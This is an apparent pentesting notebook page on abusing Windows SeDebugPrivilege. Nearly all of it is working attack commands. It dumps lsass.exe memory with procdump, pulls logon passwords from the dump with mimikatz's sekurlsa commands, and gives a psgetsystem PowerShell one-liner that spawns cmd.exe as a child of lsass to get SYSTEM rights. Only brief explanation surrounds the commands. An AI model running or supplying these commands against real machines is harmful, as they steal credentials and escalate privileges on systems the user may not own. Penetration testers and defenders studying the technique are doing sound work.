> For the complete documentation index, see [llms.txt](https://breakpoint-journal.gitbook.io/breakpoint/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://breakpoint-journal.gitbook.io/breakpoint/windows/windows-privilege-escalation/privileges-in-depth/sedebugprivilege.md).

# SeDebugPrivilege

#### Escalation

{% code title="Dump memory of lsass.exe" %}

```batch
.\procdump.exe -accepteula -ma lsass.exe lsass.dmp
```

{% endcode %}

Afterwards you can process this dump file with mimikatz...

{% code title="Mimikatz retrieval of passwords" %}

```batch
.\mimikatz.exe
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords
```

{% endcode %}

#### RCE

Using this technique, we can elevate our privileges to SYSTEM by launching a [child process](https://docs.microsoft.com/en-us/windows/win32/procthread/child-processes) and using the elevated rights granted to our account via `SeDebugPrivilege` to alter normal system behavior to inherit the token of a [parent process](https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads) and impersonate it. If we target a parent process running as SYSTEM (specifying the Process ID (or PID) of the target process or running program), then we can elevate our rights quickly. Let's see this in action.

See the [psgetsystem ](https://github.com/decoder-it/psgetsystem)tool

{% code title="psgetsystem to spawn child from lsass and impersonate" overflow="wrap" %}

```powershell
.\psgetsystem.ps1; [MyProcess]::CreateProcessFromParent($(Get-Process "lsass").Id,$C:\Windows\System32\cmd.exe,"$command $cmdargs")
```

{% endcode %}